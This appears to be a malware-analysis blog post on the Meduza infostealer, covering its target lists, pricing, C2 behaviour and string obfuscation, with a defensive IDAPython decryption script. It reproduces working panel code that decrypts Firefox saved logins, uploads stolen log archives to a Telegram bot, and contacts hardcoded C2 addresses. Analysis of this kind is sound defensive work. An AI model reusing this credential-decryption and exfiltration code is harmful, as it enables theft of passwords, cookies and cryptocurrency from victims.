Google Chrome, Google Chrome Beta, Google Chrome (x86), Google Chrome SxS, 360ChromeX, Chromium, Microsoft Edge, Brave Browser, Epic Privacy Browser, Amigo, Vivaldi, Kometa, Orbitum, Mail.Ru Atom, Comodo Dragon, Torch, Comodo, Slimjet, 360Browser, 360 Secure Browser, Maxthon3, Maxthon5, Maxthon, QQBrowser, K-Meleon, Xpom, Lenovo Browser, Xvast, Go!, Safer Secure Browser, Sputnik, Nichrome, CocCoc Browser, Uran, Chromodo, Yandex Browser, 7Star, Chedot, CentBrowser, Iridium, Opera Stable, Opera Neon, Opera Crypto Developer, Opera GX, Elements Browser, Citrio, Sleipnir5 ChromiumViewer, QIP Surf, Liebao, Coowon, ChromePlus, Rafotech Mustang, Suhba, TorBro, RockMelt, Bromium, Twinkstar, CCleaner Browser, AcWebBrowser, CoolNovo, Baidu Spark, SRWare Iron, Titan Browser, AVAST Browser, AVG Browser, UCBrowser, URBrowser, Blisk, Flock, CryptoTab Browser, SwingBrowser, Sidekick, Superbird, SalamWeb, GhostBrowser, NetboxBrowser, GarenaPlus, Kinza, InsomniacBrowser, ViaSat Browser, Naver Whale, Falkon

Gecko Browsers

Firefox, SeaMonkey, Waterfox, K-Meleon, Thunderbird, CLIQZ, IceDragon, Cyberfox, BlackHawk, Pale Moon, IceCat, Basilisk, BitTube, SlimBrowser

Data from 107 cryptowallets are also collected by Meduza Stealer, including cryptowallet extensions and desktop cryptowallets.

Cryptowallet Extensions

Metamask, Metamask (Edge), Metamask (Opera), BinanceChain, Bitapp, Coin98, Safe Pal, Safe Pal (Edge), DAppPlay, Guarda, Equal, Guild, Casper, Casper (Edge), ICONex, Math, Math (Edge), Mobox, Phantom, TronLink, XinPay, Ton, Sollet, Slope, DuinoCoin, Starcoin, Hiro Wallet, MetaWallet, Swash, Finnie, Keplr, Crocobit, Oxygen, Nifty, Liquality, Ronin, Ronin (Edge), Oasis, Temple, Pontem, Solflare, Yoroi, iWallet, Wombat, Coinbase, MewCx, Jaxx Liberty (Web), OneKey, Hycon Lite Client, SubWallet (Polkadot), Goby, TezBox, ONTO Wallet, Hashpack, Cyano, Martian Wallet, Sender Wallet, Zecrey, Auro, Terra Station, KardiaChain, Rabby, NeoLine, Nabox, XDeFi, KHC, CLW, Polymesh, ZilPay, Byone, Eternl, Guarda (Web), Nami, Maiar DeFi Wallet, Leaf Wallet, Brave Wallet, Opera Wallet, CardWallet, Flint, Exodus (Web), TrustWallet, CryptoAirdrop

Desktop cryptowallets

Coinomi, Dash, Litecoin, Bitcoin, Dogecoin, Qtum, Armory, Bytecoin, MultiBit, Jaxx Liberty, Exodus, Ethereum, Electrum, Electrum-LTC, Atomic Wallet, Guarda, WalletWasabi, ElectronCash, Sparrow, IOCoin, PPCoin, BBQCoin, Mincoin, DevCoin, YACoin, Franko, FreiCoin, InfiniteCoin, GoldCoinGLD, Binance, Terracoin, Daedalus Mainnet, MyMonero, MyCrypto, AtomicDEX, Bisq, Defichain-Electrum, TokenPocket (Browser), Zap

Other than browsers and cryptowallets, the stealer also collects sensitive information from password managers, Discord clients (Discord, DiscordCanary, DiscordPTB, Lightcord, DiscordDevelopment), and Telegram clients (Kotatogram, Telegram desktop).

Password Managers

Authenticator, Authenticator (Edge), Trezor Password Manager, GAuth Authenticator, EOS Authenticator, 1Password, 1Password (Edge), KeePassXC (Web), KeePassXC (Web Edge), Dashlane, Dashlane (Edge), Bitwarden, Bitwarden (Edge), NordPass, Keeper, RoboForm (Web), RoboForm (Web Edge), LastPass, LastPass (Edge), BrowserPass, MYKI, MYKI (Edge), Splikity, CommonKey, SAASPASS, Zoho Vault, Authy (Web)

With the new update of the stealer (version 1.3), the panel functionality has changed which allows the users to configure Telegram bot to receive the logs, the FileGrabber functionality was also added with the new update. The stealer also has the file size pumper feature that increases the file size to avoid sandbox and AV analysis; the feature is mostly deployed in all common stealers now, such as Vidar, WhiteSnake Stealer, and Aurora Stealer (RIP).

The stealer is priced at:

  • 1 month – 199$
  • 3 months – 399$

Meduza Stealer does not work in CIS (Commonwealth of Independent States) countries.

update.JPG

P.S: if anyone has the newest version of the stealer, please reach out to me 😉

An example of the received logs is shown below.

logexample.JPG

Technical Analysis

Logs are decrypted on the server side. Below is the snippet of master password decryption on Mozilla and other Gecko browsers. Taking, for example, the get key function. The code first checks if key4.db exists. This is the key database used by Firefox versions 58.0.2 and above. If key4.db exists, it opens an SQLite connection to the file and performs SQL queries to fetch the globalSalt and item2 data, which are used in decrypting the master key. It then checks if the decrypted text from item2 is equal to b’password-check\x02\x02’, a hardcoded string used by Firefox to verify the master password. If the master password is correct, it continues to the next step. Otherwise, it returns None, None, indicating a failure to retrieve the key and the algorithm. The function then queries the database to fetch a11 and a102. a11 is the encrypted master key, and a102 should match the constant CKA_ID. If a102 does not match CKA_ID, it logs a warning and returns None, None. It then decrypts a11 (the encrypted master key) using the decryptPBE function and the globalSalt. The first 24 bytes of the decrypted text are the key used to decrypt the login data. If key4.db does not exist, it checks for the existence of key3.db, which is the older key database used by Firefox. If key3.db exists, it reads the key data from the file and extracts the decryption key using the function extractSecretKey. It also hardcodes the cryptographic algorithm used (‘1.2.840.113549.1.12.5.1.3’, an OBJECTIDENTIFIER, is the identifier for the Triple DES encryption algorithm in CBC mode). If neither key4.db nor key3.db exists in the directory, it logs an error and returns None, None.

def get_key(masterPassword: bytes, directory: Path) -> Tuple[Optional[bytes], Optional[str]]:
    if (directory / 'key4.db').exists():
        conn = sqlite3.connect(directory / 'key4.db')  # firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
        c = conn.cursor()
        # first check password
        c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
        row = c.fetchone()
        globalSalt = row[0]  # item1
        item2 = row[1]
        printASN1(item2, len(item2), 0)
        decodedItem2 = decoder.decode(item2)
        clearText, algo = decryptPBE(decodedItem2, masterPassword, globalSalt)

        if clearText == b'password-check\x02\x02':
            c.execute("SELECT a11,a102 FROM nssPrivate;")
            for row in c:
                if row[0] != None:
                    break
            a11 = row[0]  # CKA_VALUE
            a102 = row[1]
            if a102 == CKA_ID:
                printASN1(a11, len(a11), 0)
                decoded_a11 = decoder.decode(a11)
                # decrypt master key
                clearText, algo = decryptPBE(decoded_a11, masterPassword, globalSalt)
                return clearText[:24], algo
            else:
                logger.warning('No saved login/password')
        return None, None
    elif (directory / 'key3.db').exists():
        keyData = readBsddb(directory / 'key3.db')
        key = extractSecretKey(masterPassword, keyData)
        return key, '1.2.840.113549.1.12.5.1.3'
    else:
        logger.error('Cannot find key4.db or key3.db')
        return None, None
def gecko_decrypt(
        s_path: str,
        master_password: str = ""
) -> Optional[List[GeckoLogin]]:
    try:
        path = Path(s_path)
        key, algo = get_key(master_password.encode(), path)
        if key is None:
            raise ValueError("Unknown error: try to specify master password")

        logins = getLoginData(path)
        if len(logins) == 0:
            logger.warning("No stored passwords")
        else:
            logger.info("Decrypting login/password pairs")
        result: List[GeckoLogin] = []
        if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
            for login in logins:
                assert login[0][0] == CKA_ID
                res = GeckoLogin()
                res.url = login[2]
                iv = login[0][1]
                ciphertext = login[0][2]
                res.username = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
                iv = login[1][1]
                ciphertext = login[1][2]
                res.password = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
                result.append(res)
        logger.debug(result)
        return result
    except KeyboardInterrupt as ki:
        raise ki
    except BaseException as error:
        return logger.error(f"{type(error).__name__}: {str(error)}")

Below is the snippet of how the logs are parsed and sent to Telegram Bot. The logs are compressed with 7z.

async def send_to_telegram(
    chat_id: int,
    bot_token: str,
    path: str,
    hwid: str,
    geo: str,
    build_name: str,
    credit_card_count: int,
    cookies_count: int,
    passwords_count: int,
    wallets_count: int,
    steam: bool,
    ip: str
) -> None:
    try:
        async with httpx.AsyncClient(
            base_url=f"https://api.telegram.org/bot{bot_token}",
            http2=True,
            headers={
                "Connection": "close",
                "Accept": "application/json",
                "Accept-Encoding": "gzip, deflate, br"
            }
        ) as client:
            data = {
                "chat_id": chat_id,
                "caption": f"""💻IP: {ip}
🌏Geo: {geo}
🛰Hwid: {hwid}
🛢Build name: {build_name}
💳Credit card: {credit_card_count}
🍪Cookies: {cookies_count}
🔑Password: {passwords_count}
💸Wallets: {wallets_count}
🎮Steam: {steam}"""
            }
            files = {
                "document": (f"[{geo}] {hwid}.7z", open(path, "rb"), "application/x-7z-compressed")
            }
            resp = await client.post("/sendDocument", files=files, data=data)
            await resp.aclose()
    except KeyboardInterrupt as ki:
        raise ki
    except BaseException as ex:
        return logger.error(ex)

The code below is responsible for adding tokens and validating their integrity, ensuring their authenticity before interacting with the main server. It performs validations on the received data, such as checking the timestamp and verifying the integrity of the data. The code checks the provided timestamp against the current UTC timestamp to ensure it is within an acceptable range. If the timestamp is invalid, an error response is returned. If the validations pass, the code encrypts the token and sends a request to the main server (hxxp://89.185.85[.]245) with the encrypted token and other necessary information. The code uses the HashGenerator class and the SHA-512 hash algorithm (sha512) to generate a hash of the concatenated values of token and data.utc_timestamp. It then compares this generated hash with the provided data.sign. If the hashes do not match, an error response is returned, indicating that the input data cannot be validated. The response from the server is processed, and if the authentication is successful (based on the success flag in the response), the received token is stored in the database for further use. A similar operation is performed in the payload. The payload is sent to a remote server as part of an HTTP request. The server will use the provided sign value to validate the integrity of the data by performing the same hash calculation on its end, taking the generated hash value for panel_hash obtained from the registry key into consideration.

  
@bp.route("/token", methods=[RequestMethod.POST])
async def add_token() -> Response:
    json_data = await request.json
    if not AddTokenRequest.validate(json_data):
        return bad_request("Could not validate input data!", additional_data={"success": False})
    data = AddTokenRequest(**json_data)
    if (datetime.datetime.utcnow() - datetime.datetime.fromtimestamp(data.utc_timestamp)) > REQUEST_TIMESTAMP_DELTA:
        return bad_request("Invalid timestamp date!", additional_data={"success": False})
    key = base64.urlsafe_b64decode(data.nonce.encode(Encodings.UTF_8))
    cipher = XSalsaPoly1305(sha256(key, encoder=RawEncoder))
    token = cipher.decrypt_as_string(data.token, encoder=URLSafeBase64Encoder)
    token = TokenSigner.get_and_verify(token)
    if not token:
        return bad_request("Failed to validate user token!", additional_data={"success": False})
    if not HashGenerator(sha512(key, encoder=RawEncoder)).hash_verify(message=token + str(data.utc_timestamp), message_hash=data.sign, encoder=URLSafeBase64Encoder):
        return bad_request("Could not validate input data!", additional_data={"success": False})
    try:
        async with httpx.AsyncClient(
            base_url="http://89.185.85.245",
            http2=True,
            headers={
                "Connection": "close",
                "Content-Type": "application/json",
                "Accept": "application/json",
            }
        ) as client:
            nonce = os.urandom(SecretBox.KEY_SIZE)
            panel_hash = get_panel_hash()
            if not panel_hash:
                return expectation_failed("Error: Panel is not registered yet", additional_data={"success": False})
            timestamp = datetime.datetime.utcnow().timestamp()
            payload = {
                "nonce": base64.urlsafe_b64encode(nonce).decode(Encodings.UTF_8),
                "panel_hash": panel_hash,
                "token": XSalsaPoly1305(sha256(nonce, encoder=RawEncoder)).encrypt(token, encoder=URLSafeBase64Encoder),
                "utc_timestamp": timestamp,
                "sign": HashGenerator(sha512(nonce, encoder=RawEncoder)).hash_gen(token + panel_hash + str(timestamp), encoder=URLSafeBase64Encoder)
            }
            resp = await client.post("/api/auth/token", json=payload)
            data = resp.json()
            success = data.get("success", False)
            if not success:
                return auth_error(f"Failed to add token, server response: {data.get('message', '[No Response]')}", additional_data={"success": False})
            await resp.aclose()
            async with sessionmaker() as session:
                async with session.begin():
                    token_bd = Token(value=token)
                    session.add(token_bd)
                    await session.commit()
                    return jsonify({"message": "Token was added successfully!", "success": True})
                
    except httpx.HTTPError as ex:
        return expectation_failed(f"Could not validate auth token on the main server: {type(ex)} {str(ex)}", additional_data={"success": False})

As mentioned before, the panel handles the parsing and decryption of the collected data. You can see how it parses the data extracted from Chromium browsers using SQL queries in a pseudocode below. Interestingly enough, we can also see the path of the Meduza Stealer’s source code: C:\Users\79026\source\repos\MedusaServer\Src\Core\Parser\Chromium.cpp

ChromiumParser.JPG

Meduza Stealer performs panel hash verification as a part of the panel authentication/registration process. It queries the hash value assigned to PanelHash under Computer\HKEY_CURRENT_USER\SOFTWARE\Medusa.

hashverif.JPG
panelreg.JPG

Below is the mention of the log folder creation and builder output to notify that the main socket is listening on port 15666. Please note that the port is static and cannot be changed at this time.

aurorainit.JPG

Have you noticed that there is a mention of AuroraStealer.cpp? Also, if you compare the logs for Aurora and Meduza stealers. I wrote a blog on Aurora Stealer if you want to check it out here. I am not aware of any Aurora Stealer source code leaks so far. But if you know of any, I would love to hear about it.

aurora-meduza.JPG

Moreover, there is also a slight overlap in Telegram logs layout.

tglogs.JPG

The code below is responsible for creating folders for gathered logs that are then archived.

fldcreate.JPG

In the code snippet below, you can see that the pointers to the vftables (virtual function tables) of classes, such as GeckoParser, SteamDecoder, TelegramParser, DiscordParser, and SystemParser are being assigned. These vftables act as a “lookup table” for the corresponding objects’ virtual functions. When a virtual function is invoked on an object, the stealer will refer to the appropriate vftable based on the object’s type at runtime to determine the specific implementation of the function to execute, for example, parsing the system information collected.

vftable.JPG

The stealer uses vpxor and pxor instructions to perform Vector Packed Bitwise XOR and Packed XOR operations on strings. The xor instruction in x86 assembly language performs a bitwise XOR operation between two operands, which can be registers or memory locations. It operates on single data elements rather than vectorized data. On the other hand, vpxor and pxor instructions are specifically designed for SIMD operations (Single instruction, multiple data), where multiple data elements are processed simultaneously in parallel. These instructions allow for parallel execution of XOR operations on packed data and can significantly improve performance in scenarios that involve processing large amounts of data in parallel.

pxor.JPG

The stealer retrieves the information about the native system and version information using RtlGetVersion and GetNativeSystemInfo functions accordingly and then parses the retrieved information based on the following decrypted strings:

  • Unknown Edition
  • Web Server (core installation)
  • Standard Edition (core installation)
  • Microsoft Hyper-V Server
  • Windows 10 IoT Core
  • Windows IoT Enterprise
  • Windows Home Server
  • Windows Storage Server
  • Standard Edition
  • Small Business Server Premium Edition
  • Small Business Server
  • Server Enterprise (core installation)
  • Enterprise Evaluation
  • Server Enterprise
  • Server Standard (core installation)
  • Datacenter Edition (core installation)
  • Datacenter Edition
  • Server Hyper Core V
  • Business Edition
  • Windows Essential Server Solution Management
  • Windows Essential Server Solution Additional
  • Professional Education
getsysinfo.JPG

Meduza Stealer reaches out to https://api.ipify.org to determine the public IP of the infected machine.

The code below retrieves and processes geographic information based on the user’s location and then appends the result to “geo” tag.

geo.JPG

The time zone information is retrieved via accessing the registry key SYSTEM\CurrentControlSet\Control\TimeZoneInformation and calling the function TimeZoneKeyName.

timezone.JPG

Telegram presence on the host is checked via the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1, specifically the InstallLocation value.

teg_reg_key.JPG

C2 Communication

C2 communication is super similar to Aurora Stealer. It is base64-encoded and parsed in a JSON format. As mentioned before, the stealer communicates with the server over the default port 15666.

traffic.JPG

Summary

Meduza Stealer developers also offer malware development services based on C/C++, Java, JavaScript/TypeScript, Kotlin (JVM), and Python programming languages. (No mention of GoLang? 🙂 ). We might never find out the truth, but it is highly likely that Aurora Stealer developers are also behind Meduza Stealer.

medusaservice.JPG
AURORASVC.JPG

According to Abaddon, who specializes in providing services similar to the Eye of God (one of the Russian Internet’s main data-leak hubs), the Botnet project was the reason Aurora left the market unexpectedly and taking its servers down; it failed to meet users’ expectations and delivered many promises for the product that they could not handle. It is worth mentioning that Aurora priced the botnet at 700$ for a month and 3000$ for lifetime access.    

To summarize this blog, I wrote an IDAPython script to decrypt the strings for 32-bit samples of Meduza Stealers. You can access the script on my GitHub page

Out of curiosity, I tried to pivot other samples based on the developer’s path and stumbled upon HydraClipper (MD5: add6ae21d25ffe8d312dd10ba98df778), which is apparently a clipper that is likely written by the same developer.

IDAPython string decryption script

# Author: RussianPanda
# Reference: https://github.com/X-Junior/Malware-IDAPython-Scripts/tree/main/PivateLoader
# Tested on sample https://www.unpac.me/results/7cac1177-08f5-4faa-a59e-3c7107964f0f?hash=29cf1ba279615a9f4c31d6441dd7c93f5b8a7d95f735c0daa3cc4dbb799f66d4#/

import idautils, idc, idaapi, ida_search
import re  

pattern1 = '66 0F EF'
pattern2 = 'C5 FD EF'

# Start search from end of the file
start = idc.get_segm_end(idc.get_first_seg())

addr_to_data = {}  

def search_and_process_pattern(pattern, start):
    while True:
        addr = ida_search.find_binary(start, 0, pattern, 16, ida_search.SEARCH_UP | ida_search.SEARCH_NEXT)

        if addr == idc.BADADDR:  
            break

        ptr_addr = addr 
        found_mov = False  
        data = ''  

        for _ in range(400):
            ptr_addr = idc.prev_head(ptr_addr)

            if idc.print_insn_mnem(ptr_addr) == 'call' or idc.print_insn_mnem(ptr_addr) == 'jmp' or idc.print_insn_mnem(ptr_addr) == 'jz':
                break

            if idc.print_insn_mnem(ptr_addr) == 'movaps' and re.match(r'xmm[0-9]+', idc.print_operand(ptr_addr, 1)):
                break

            if idc.print_insn_mnem(ptr_addr) == 'mov':
                # Ignore the instruction if the destination is ecx
                if idc.print_operand(ptr_addr, 0) == 'ecx' or idc.print_operand(ptr_addr, 0) == 'edx':
                    continue

                op1_type = idc.get_operand_type(ptr_addr, 0)
                op2_type = idc.get_operand_type(ptr_addr, 1)

                operand_value = idc.get_operand_value(ptr_addr, 1)  

                if (op1_type == idc.o_displ or op1_type == idc.o_reg) and op2_type == idc.o_imm and len(hex(operand_value)[2:]) >= 4:
                    hex_data = hex(idc.get_operand_value(ptr_addr, 1))[2:]
                    hex_data = hex_data.rjust(8, '0') 

                    if hex_data.endswith('ffffffff'):
                        hex_data = hex_data[:-8]
                    if hex_data.startswith('ffffffff'):
                        hex_data = hex_data[8:]

                    # Alternative method for unpacking hex data
                    bytes_data = bytes.fromhex(hex_data)
                    int_data = int.from_bytes(bytes_data, 'little')
                    hex_data = hex(int_data)[2:].rjust(8, '0')

                    data = hex_data + data  
                    found_mov = True

        if found_mov:  # Append the data only if the desired mov instruction was found
            if addr in addr_to_data:
                addr_to_data[addr] = data + addr_to_data[addr]
            else:
                addr_to_data[addr] = data

        # Continue search from the previous address
        start = addr - 1

# Search and process pattern1
search_and_process_pattern(pattern1, start)

# Reset the start variable to search for pattern2
start = idc.get_segm_end(idc.get_first_seg())

# Search and process pattern2
search_and_process_pattern(pattern2, start)

# XOR the string and key and print the decrypted strings
for addr, data in addr_to_data.items():
    if len(data) >= 10:
        string = data[:len(data)//2]
        key = data[len(data)//2:]

        # XOR the string and key
        xored_bytes = bytes([a ^ b for a, b in zip(bytes.fromhex(string), bytes.fromhex(key))])

        decrypted_string = xored_bytes.decode('utf-8', errors='ignore')

        print(f"{hex(addr)}: {decrypted_string}")
    
        # Set IDA comment at the appropriate address
        idaapi.set_cmt(addr, decrypted_string, 0)

Decrypted strings

0x45790c: build_name
0x45774e: execute_path
0x4572b0: screenshot
0x457107: hwid
0x455b91: TimeZoneKeyName
0x454a93:  (x64)
0x4549bf:  (x86)
0x4548eb:  (IA64)
0x4544e4:  Web Server
0x4541c5:  Team
0x452c75:  Education
0x4527d3:  HPC Edition
0x45257c:  Starter
0x452325:  Enterprise
0x451dbb:  Home
0x451ce7:  Home Basic
0x451c13:  Home Premium
0x4519bc:  Professional
0x4518e8:  Ultimate
0x4514cc: Windows 
0x44f6cd: encrypted_key
0x44f581: os_crypt
0x445dfe: Root
0x4408ac: OpenVPN
0x440183: .ovpn
0x43fb3e: discord
0x43f3b8: discord
0x43f1b2: discord
0x43e00d: ssfn
0x43de5b: SteamPath
0x43db98: Steam
0x43cd1e: SOFTWARE\
0x43cc5e: -Qt
0x43cb3a: wallet.dat
0x43ca37: strDataDir
0x43c067: wallet_path
0x43bce8: MoneroCore
0x43b457: datadir
0x43b0d8: Etherwall
0x43ae93: Kotatogram
0x43ac9f: Telegram
0x43a046: tdata
0x439d95: ktg_lang
0x439cd1: user_data#3
0x439c0d: user_data#2
0x439b42: user_data
0x439a81: tdummy
0x4396aa: InstallLocation
0x438e8a: InstallLocation
0x436268: Wallets
0x436178: Grabber
0x436088: telegram
0x435f98: Profiles
0x435d18: Local State
0x435c28: User Data
0x435b38: Profile
0x435a48: Default
0x435958: gecko_browsers
0x435613: TJ
0x435533: MD
0x435453: KG
0x435373: AM
0x435290: UZ
0x4351b3: TM
0x4350ee: GE
0x435023: BY
0x434f5e: KZ
0x434e92: RU
0x434d8d: 167.88.15.114
0x434897: key3.db
0x434797: key4.db
0x434698: signons.sqlite
0x43459a: logins.json
0x434496: cookies.sqlite
0x433e33: Login Data
0x433d23: UC Login Data
0x433c13: Login Data
0x433b03: Ya Passman Data
0x4339f3: Login Data
0x4338e3: Login Data
0x4337d3: History
0x4336c9: History
0x4335c8: Bookmarks
0x4334bb: Bookmarks
0x433023: Cookies
0x432f13: Cookies
0x432e09: Network Cookies
0x432d0b: Network\Cookies
0x432c0a: Web Data
0x432b08: Web Data
0x43272c: CryptoAirdrop
0x4323d8: TrustWallet
0x43209c: Exodus (Web)
0x431d21: Flint
0x431961: CardWallet
0x4315a1: Opera Wallet
0x4311e1: Brave Wallet
0x430e21: Leaf Wallet
0x4305f1: Nami
0x430231: Guarda (Web)
0x42fe71: Eternl
0x42fab1: Byone
0x42f6f1: ZilPay
0x42f331: Polymesh
0x42ef71: CLW
0x42ebb1: Auro
0x42e7f1: OneKey
0x42e431: KHC
0x42e071: XDeFi
0x42dcb1: Nabox
0x42d8f1: NeoLine
0x42d531: Rabby
0x42d171: KardiaChain
0x42cdb1: Terra Station
0x42c9f1: Auro
0x42c631: Zecrey
0x42c271: Sender Wallet
0x42beb1: Martian Wallet
0x42baf1: Cyano
0x42b731: Hashpack
0x42b371: ONTO Wallet
0x42afb1: TezBox
0x42abf1: Goby
0x429f51: OneKey
0x429721: MewCx
0x429361: Coinbase
0x428fa1: Wombat
0x428be1: iWallet
0x428821: Yoroi
0x428461: Solflare
0x4280a1: Pontem
0x427ce1: Temple
0x427921: Oasis
0x427561: Ronin (Edge)
0x4271a1: Ronin
0x426de1: Liquality
0x426a21: Nifty
0x426661: Oxygen
0x4262a1: Crocobit
0x425ee1: Keplr
0x425b21: Finnie
0x425761: Swash
0x4253a1: MetaWallet
0x424fe1: Hiro Wallet
0x424c21: Starcoin
0x424861: DuinoCoin
0x4244a1: Slope
0x4240e1: Sollet
0x423d21: Ton
0x423961: XinPay
0x4235a1: TokenPocket
0x4231e1: TronLink
0x422e21: Phantom
0x422a61: Mobox
0x4226a1: Math (Edge)
0x4222e1: Math
0x421f21: ICONex
0x421b61: Casper (Edge)
0x4217a1: Casper
0x4213e1: Guild
0x421025: Equal
0x420c71: Guarda
0x4208b1: DAppPlay
0x4204f1: Safe Pal (Edge)
0x420131: Safe Pal
0x41fd71: Coin98
0x41f9b1: Bitapp
0x41f5f1: BinanceChain
0x41edc8: Metamask (Edge)
0x41ea1b: Metamask
0x41e5c3: Authy (Web)
0x41e223: Zoho Vault
0x41de83: SAASPASS
0x41dae3: CommonKey
0x41d743: Splikity
0x41d3a3: MYKI (Edge)
0x41d003: MYKI
0x41cc63: BrowserPass
0x41c8c3: LastPass (Edge)
0x41c523: LastPass
0x41bd37: RoboForm (Web)
0x41b9a3: Keeper
0x41b607: NordPass
0x41ae23: Bitwarden
0x41aa83: Dashlane (Edge)
0x41a6e7: Dashlane
0x419f07: KeePassXC (Web)
0x419727: 1Password
0x418249: Authenticator
0x417ec8: SlimBrowser
0x417bf7: BitTube
0x417924: Basilisk
0x417817: Mozilla\IceCat
0x41770a: IceCat
0x417439: Pale Moon
0x417168: BlackHawk
0x416e97: Cyberfox
0x416bc3: IceDragon
0x416ab3: CLIQZ
0x4169a3: CLIQZ
0x416893: Thunderbird
0x416787: Thunderbird
0x416687: K-Meleon
0x416587: K-Meleon
0x416485: Waterfox
0x416378: Waterfox
0x4160a7: SeaMonkey
0x415f9a: Mozilla\Firefox
0x415e96: Firefox
0x415ce4: Falkon\profiles
0x415bd7: Falkon\profiles
0x415903: Naver Whale
0x41562b: ViaSat Browser
0x415193: Kinza
0x415083: Kinza
0x414f73: GarenaPlus
0x414e63: GarenaPlus
0x414d53: NetboxBrowser
0x414c43: NetboxBrowser
0x414b33: GhostBrowser
0x414a23: GhostBrowser
0x414913: SalamWeb
0x414803: SalamWeb
0x4146f3: Superbird
0x4145e3: Superbird
0x4144d3: Sidekick
0x4143c5: Sidekick
0x4142b8: SwingBrowser
0x4141ab: SwingBrowser
0x413d13: Flock
0x413c03: Flock
0x413af3: Blisk
0x4139e3: Blisk
0x4138d4: URBrowser
0x4137c7: URBrowser
0x4134f3: UCBrowser
0x4133e4: AVG\Browser
0x4132d7: AVG Browser
0x413003: AVAST Browser
0x412ef3: Titan Browser
0x412de3: Titan Browser
0x412cd3: SRWare Iron
0x412bc3: SRWare Iron
0x412ab3: Baidu Spark
0x4129a3: Baidu Spark
0x412893: CoolNovo
0x412785: CoolNovo
0x412678: AcWebBrowserr
0x41256b: AcWebBrowser
0x4120d3: Twinkstar
0x411fc3: Twinkstar
0x411eb3: Bromium
0x411da3: Bromium
0x411c93: RockMelt
0x411b83: RockMelt
0x411a73: TorBro\Profile
0x411963: TorBro
0x411853: Suhba
0x411743: Suhba
0x4110e3: ChromePlus
0x410fd3: Coowon\Coowon
0x410ec3: Coowon
0x410db3: Liebao
0x410ca3: Liebao
0x410b94: QIP Surf
0x410a87: QIP Surf
0x4102b3: Citrio
0x40fc53: Opera GX
0x40f527: Opera Neon
0x40f253: Opera Stable
0x40f143: Iridium
0x40f033: Iridium
0x40ef23: CentBrowser
0x40ee13: CentBrowser
0x40ed03: Chedot
0x40ebf3: Chedot
0x40eae4: 7Star\7Star
0x40e9d7: 7Star
0x40e703: Yandex Browser
0x40e5f3: Chromodo
0x40e4e3: Chromodo
0x40e3d3: uCozMedia\Uran
0x40e2c3: Uran
0x40e1b3: CocCoc\Browser
0x40e0a3: CocCoc Browser
0x40df93: Nichrome
0x40de83: Nichrome
0x40dd73: Sputnik\Sputnik
0x40dc63: Sputnik
0x40d703: Go!
0x40d5f3: Go!
0x40d4e4: Xvast
0x40d3d7: Xvast
0x40d103: Lenovo Browser
0x40cff3: Xpom
0x40cee3: Xpom
0x40cdd6: K-Meleon
0x40ccc9: K-Meleon
0x40c9f8: QQBrowser
0x40c727: Maxthon
0x40c453: Maxthon5
0x40c345: Maxthon3\Users
0x40c238: Maxthon3
0x40c12b: 360se6
0x40bc93: 360Browser
0x40bb83: Slimjet
0x40ba77: Slimjet
0x40b973: Comodo
0x40b863: Comodo
0x40b753: Torch
0x40b643: Torch
0x40b533: Comodo\Dragon
0x40b423: Comodo Dragon
0x40b313: Mail.Ru\Atom
0x40b203: Mail.Ru Atom
0x40b0f3: Orbitum
0x40afe3: Orbitum
0x40aed3: Kometa
0x40adc3: Kometa
0x40acb3: Vivaldi
0x40aba3: Vivaldi
0x40aa93: Amigo
0x40a987: Amigo
0x40a337: Brave Browser
0x40a237: Microsoft\Edge
0x40a137: Microsoft Edge
0x40a033: Chromium
0x409f23: Chromium
0x409c4b: 360ChromeX
0x409099: Google\Chrome
0x408f89: Google Chrome
0x408c07: Lightcord
0x408b08: DiscordPTB
0x408a0a: DiscordCanary
0x408906: Discord
0x408623: Zap
0x408347: Bisq
0x408077: Bisq
0x407da3: AtomicDEX
0x407ac3: MyCrypto
0x4077e5: MyMonero
0x407173: Terracoin
0x407061: Terracoin
0x406f4a: Binance Wallet
0x406e3d: Binance\wallets
0x406d25: Binance Wallet
0x406a4a: Binance
0x40693d: Binance
0x406823: GoldCoinGLD
0x406711: GoldCoin (GLD)
0x4065fa: InfiniteCoin
0x4064ed: InfiniteCoin
0x4063d3: FreiCoin
0x4062c1: FreiCoin
0x4061aa: Franko
0x40609d: Franko
0x405f83: YACoin
0x405e71: YACoin
0x405d5a: DevCoin
0x405c4d: devcoin
0x405b33: Mincoin
0x405a21: Mincoin
0x40590a: BBQCoin
0x4057fd: BBQCoin
0x4056e3: PPCoin
0x4055d1: PPCoin
0x4054ba: IOCoin
0x4053ad: IOCoin
0x405293: Sparrow
0x405181: Sparrow\wallets
0x40506a: Sparrow
0x404f5d: Sparrow\config
0x404e43: ElectronCash
0x404b63: ElectronCash
0x404883: WalletWasabi
0x4045a3: WalletWasabi
0x4042c3: Guarda
0x403fe5: Atomic Wallet
0x403d0a: Atomic Wallet
0x403bfd: atomic
0x403ae3: Electrum-LTC
0x403805: Electrum-LTC
0x40352a: Electrum
0x40341d: Electrum\config
0x403303: Electrum
0x403025: Ethereum
0x402d4a: Exodus
0x402c3d: Exodus
0x402b27: Exodus
0x402857: Jaxx Liberty
0x40240a: MultiBit
0x4022fd: MultiBit
0x4021e3: Bytecoin
0x4020d1: bytecoin
0x401fba: Armory
0x401ead: Armory
0x401d93: Qtum
0x401c81: QtumCore
0x401b6a: Dogecoin
0x401a5d: DogecoinCore
0x401943: Bitcoin
0x401832: BitcoinCore
0x40171e: Litecoin
0x40161d: LitecoinCore
0x401503: Dash
0x4013f6: DashCore
0x4012dc: Coinomi
0x4575d5: screen_resolution
0x4569cb: https://api.ipify.org
0x455a87: SYSTEM\CurrentControlSet\Control\TimeZoneInformation
0x455a60: SYSTEM\CurrentControlSet\Control\TimeZoneInformation
0x454e08:  [Build number: 
0x454c18:  (Unknown processor)
0x4547ea:  Unknown Edition
0x454667:  Web Server (core installation)
0x4543e6:  Standard Edition (core installation)
0x4540f1:  Microsoft Hyper-V Server
0x453f6e:  Windows 10 IoT Core
0x453deb:  Windows IoT Enterprise
0x453c68:  Windows Home Server
0x453ae5:  Windows Storage Server
0x453962:  Standard Edition
0x4537b5:  Small Business Server Premium Edition
0x453594:  Small Business Server
